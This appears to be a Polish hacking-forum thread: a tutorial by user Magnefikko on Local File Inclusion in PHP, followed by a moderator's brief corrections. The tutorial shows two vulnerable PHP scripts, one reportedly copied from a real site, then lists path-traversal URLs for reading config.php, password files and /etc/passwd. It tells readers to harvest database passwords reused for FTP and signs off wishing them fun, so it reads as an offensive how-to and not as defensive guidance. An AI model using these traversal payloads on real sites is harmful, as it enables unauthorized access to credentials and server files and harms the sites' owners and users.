[Tutorial]Local File Including

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
Local File Including
by Magnefikko

Witam ja Was.
Jak zapewne wiecie, istnieją trzy główne metody ataków na strony internetowe (czyt. skrypty PHP) - SQLI, XSS i LFI.
W tym tutorialu omówię atak typu LFI, który - zaraz po XSS - jest najłatwiejszy do dorwania (SQLI jest najtrudniejsze nie tylko z powodu ciężkości używania go, lecz również z takiego, że większość serwerów automatycznie slas***e zmienne).

Na początek, czym jest ów błąd?
Weźmy sobie taki przykład:

Kod:
<?php
$plik = $_GET['Strona']
$dane = file('/dane/strony/'.$plik);
$cnt**= count($dane);
for($i = 0; $i < $cnt; $i++) 
{ 
**echo htmlspecialchars($dane[$i]).'
';
}
?>
Zerżnąłem ten kod z jakiegoś forum. Sam napisałbym bardziej w myśl zasady KISS (Keep It Simple Stupid), ale jak się nie ma co się lubi tudzież gdy się nie chce i tak dalej.
Skrypt ten pobiera zawartość pliku i wyświetla nam go linijka po linijce. To bardzo miło z jego strony.
Do czego jest używany? Zapewne do wyświetlania podstron w postaci TXT.
Zawartość katalogu /dane/strony :
Kod:
ciastka
zuo
Są to dwa pliki bez rozszerzeń zawierające jakieśtam teksty.
Zakładamy że nasz cud-skrypt nosi nazwę viewer.php .
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=zuo
I proszę, widzimy zawartość pliku zuo w katalogu dane. Aaale faaajneee!
Webmasterzy często korzystają z mniej więcej takiego rozwiązania do wyświetlania treści w ramkach. Kompletnie bez sensu.
Logika podpowiada nam że skoro skrypt pobiera zawartość pliku i ma uprawnienia które pozwalają mu odczytywać pliki na FTP, może on wyświetlić nam zawartość jakiegoś pliku PHP. Miło byłoby, dla przykładu, zobaczyć kod viewer.php . Spróbujmy...
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=viewer.php
Ojojoj, błąd MySQL. Straszne :)
Plik zapewne jest w którymś z wyższych katalogów. Ścieżka do wyższego katalogu, jak wiecie, to ../.Spróbujmy...
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../viewer.php
Wciąż nic. Jeszcze raz...
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../viewer.php
O, a cóż to się pokazało?
Kod:
<?php
$plik = $_GET['Strona']
$dane = file('/dane/strony/'.$plik);
$cnt**= count($dane);
for($i = 0; $i < $cnt; $i++) 
{ 
**echo htmlspecialchars($dane[$i]).'
';
}
?>
I w ten oto sposób możemy obejrzeć sobie dowolny plik na serwerze :) Warto zajrzeć do pliku config.php gdzie często jest hasło do bazy danych MySQL (które jeszcze częściej jest takie samo jak hasło na serwer FTP). Jeżeli haseł nie ma w config.php a wiemy, że strona korzysta z MySQL - po prostu przeszukujemy kod, sprawdzamy pliki do których odwołują się inne pliki aż znajdziemy. Szybko, łatwo i przyjemnie.
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../mypasswords.php
At apropo, jeżeli skrypt ma odpowiednie uprawnienia, możemy zaszaleć jeszcze bardziej :)
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../../../../../etc/passwrd
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../../../../home/root/Pulpit/hasla.txt
Inny przykład, również wykorzystujący cholernie często trafiający się błąd. Jak często? Poniższy skrypt jest żywcem zerżnięty ze strony podatnej na ów atak, który to znaleść mi przyszło po kilku sekundach :)

Kod:
<?php
require_once('inc/functions.php');
if(isset($_GET['id']) && $_GET['id']!=='') {
 $file='data/download/'.czysc($_GET['id']);
 if(file_exists($file)) {
**header("Cache-Control: no-cache, must-revalidate");
**header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
**header('Content-type: '.mime_content_type($file));
**header('Content-Disposition: attachment; filename="'.$x[0].'"; size="'.filesize($file).'";');
**readfile($file);
 } else echo('Plik '.$file.' nie istnieje');
} else echo('Plik '.$file.' nie istnieje');
?>
Fajny kodzik, co? xD
Rzeczjasna pozwala na wygodne ściągnięcie sobie dowolnego pliku z serwera. Tak jest!
Kod:
http://www.innastrona.pl/pobierz.php?id=../../index.php
Kod:
http://www.innastrona.pl/pobierz.php?id=../../config.php
Kod:
http://www.innastrona.pl/pobierz.php?id=../../../../../../etc/passwrd
Czy pozostaje mi coś jeszcze poza pozdrowieniami i życzeniami miłej zabawy? ;-)
 
Ostatnio edytowane przez moderatora:

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
Kod:
większość serwerów automatycznie slashuje zmienne
To nie problem
<


istnieją trzy główne metody ataków na strony internetowe (czyt. skrypty PHP) - SQLI, XSS i LFI[/b]
Nie główne, tylko najbardziej popularne
<


etc/passwrd[/b]
chyba etc/passwd ? ;]
 
Do góry Bottom